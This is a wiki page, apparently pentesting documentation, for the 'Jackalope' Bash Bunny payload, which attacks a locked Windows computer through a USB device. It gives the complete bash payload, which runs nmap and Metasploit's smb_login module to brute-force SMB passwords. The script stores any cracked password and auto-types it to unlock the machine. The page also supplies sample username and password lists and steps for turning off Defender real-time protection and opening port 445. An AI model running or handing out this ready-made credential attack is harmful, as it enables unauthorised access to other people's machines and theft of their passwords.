View source for Bash Bunny Exploit: Jackalope

== Summary == 

Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:

* Manually select user & place focus on the password field at the login screen
* Toggle the switch position from switch1 to switch2 (or vice versa) & the bunny will auto-type the stored password.

To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.

== Requirements ==

=== Required Tools ===

You must have a Metasploit installation up and running in path /tools/metasploit-framework/
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:

* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)

By clicking on the links, a download will be started automatically. 
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.
No further initial configuration is required for Firmware v1.6+.

=== Windows Defender ===

When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly. 

Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.

&emsp;1. Select Start and type "Windows Security" to search for that app.

&emsp;2. Select the Windows Security app from the search results, go to Virus & threat protection, and under Virus & threat protection settings select Manage settings.

&emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.


== Description ==

=== Per attack configuration ===

* userlist.txt contains usernames to use in attack.
* wordlist.txt contains passwords to use in attack.

Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]

=== LED Status ===

[[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]]

A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].

=== Payload ===

This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the '''auxiliary/scanner/smb/smb_login''' module for the exploit. 

=== Exploit overview === 

'''Name:''' SMB Login Check Scanner

'''Module:''' auxiliary/scanner/smb/smb_login

'''Source code:''' modules/auxiliary/scanner/smb/smb_login.rb

'''Disclosure date:''' -

'''Last modification time:''' 2021-08-31 17:10:07 +0000

'''Supported architecture(s):''' -

'''Supported platform(s):''' -

'''Target service / protocol:''' microsoft-ds, netbios-ssn

'''Target network port(s):''' 139, 445

'''List of CVEs:''' CVE-1999-0506

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened. 

=== How do you enable port 445? ===

Go Start > Control Panel > Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules > New rule. Then in the pop-up window, choose Port > Next >TCP > Specific local ports and type 445 and go Next. Create the rule.

Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.

== Payload Preperation ==

=== payload.txt ===

<pre>

#!/bin/bash
#
# Title: Jackalope
# Author: catatonic
# Version: 1.1.0

# Check readiness & prepare environment
LED SETUP

REQUIRETOOL metasploit-framework
ATTACKMODE HID RNDIS_ETHERNET

# Ensure loot is available for recording results.
mount /dev/nandf /root/udisk/

ORIGINAL_SWITCH=$SWITCH_POSITION
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
LOOTBASE=/root/udisk/loot/Jackalope/

# SETUP
GET TARGET_IP
GET TARGET_HOSTNAME

COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)
COUNT=$((COUNT+1))
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT
mkdir -p $LOOTDIR

MSF_DIR=/tools/metasploit-framework

# Save environment informaiton:
echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt
echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt
echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt
echo "TARGET_IP: $TARGET_IP" >> $LOOTDIR/log.txt
echo "TARGET_HOSTNAME: $TARGET_HOSTNAME" >> $LOOTDIR/log.txt

SYNC ()
{
	sync; sleep 1; sync
}
CLEAR_PW()
{
	LED SPECIAL
	rm $PAYLOAD_DIR/quack_pass.txt
	SYNC
	WAIT
}
ENTER_PW()
{
	sleep 1
	QUACK $ORIGINAL_SWITCH/quack_pass.txt
	QUACK ENTER
}
RECON()
{
	ATTACKMODE RNDIS_ETHERNET
	# Stage 1: Recon
	LED STAGE1
	echo "Executing nmap..." >> $LOOTDIR/log.txt
	nmap -p 445 -Pn $TARGET_IP > $LOOTDIR/nmap_results.txt
	if ! grep --quiet "445.*open" $LOOTDIR/nmap_results.txt;
	then
		LED FAIL2
		SYNC
		exit
	fi
}
EXPLOIT()
{
	# Stage 2: Exploit
	LED STAGE2
	export HOME=/root
	cd $MSF_DIR
	./msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit" > $LOOTDIR/msfconsole.txt

	if ! grep --quiet "^\[+\]" $LOOTDIR/msfconsole.txt;
	then
		LED FAIL
		echo "Payload failed, no logins found..." >> $LOOTDIR/log.txt
		SYNC
		exit
	fi

	grep "^\[+\]" $LOOTDIR/msfconsole.txt  | grep -o \'.*\' | cut -d ':' -f 1 | cut -d "'" -f 2 > $LOOTDIR/user.txt
	grep "^\[+\]" $LOOTDIR/msfconsole.txt  | grep -o \'.*\' | cut -d ':' -f 2 | cut -d "'" -f 1 > $LOOTDIR/password.txt

	# Focus needs to be set on the password field manually.
	echo -n "STRING " > $PAYLOAD_DIR/quack_pass.txt
	cat $LOOTDIR/password.txt >> $PAYLOAD_DIR/quack_pass.txt

	SYNC
}

# High level view.
while true
do
	if [ -f $PAYLOAD_DIR/quack_pass.txt ];
	then
		LED FINISH
	else
		RECON
		EXPLOIT
		continue
	fi

	WAIT

	# User's choice, clear old password or enter password.
	if [ "$SWITCH_POSITION" == "switch3" ];
	then
		CLEAR_PW
	else
		ENTER_PW
	fi
done

</pre>

=== userlist.txt === 

Add here the usernames you want to attack on the target host, like for example:

<pre>
Administrator
Willi
Gast
</pre>

=== wordlist.txt === 

Add here the some common used passwords, which will be used to bruteforce the target host. For example: 

<pre>123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
</pre>


== Execution ==

&emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).

&emsp;2. Bash Bunny’s LED lights purple until the execution of the payload. 

&emsp;3. While attacking the LED will blink in a yellow colour. 

&emsp;4. When Bash Bunny was successful, the LED will light green. 

&emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.

&emsp;6. After toggling the screen should lock up. 


== Result ==

In Bash Bunnys “loot”-folder the output of the attack could be found after the attack. 
Following files can be found: 

* log.txt --> Can be used for troubleshooting/debugging. 
* msfconsole.txt --> The non- and matching events of users to passwords on target host will displayed in this textfile.
* nmap_ results.txt --> Here the output of the nmap-scan is shown.
* password.txt --> All matching passwords are saved in this text file.
* user.txt --> All matching users are saved in this text file.

== References ==

* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960
* https://wiki.bashbunny.com/#!index.md#Tools
* https://docs.hak5.org/bash-bunny/writing-payloads/led


[[Category:Documentation]]
[[Category:Pentesting]]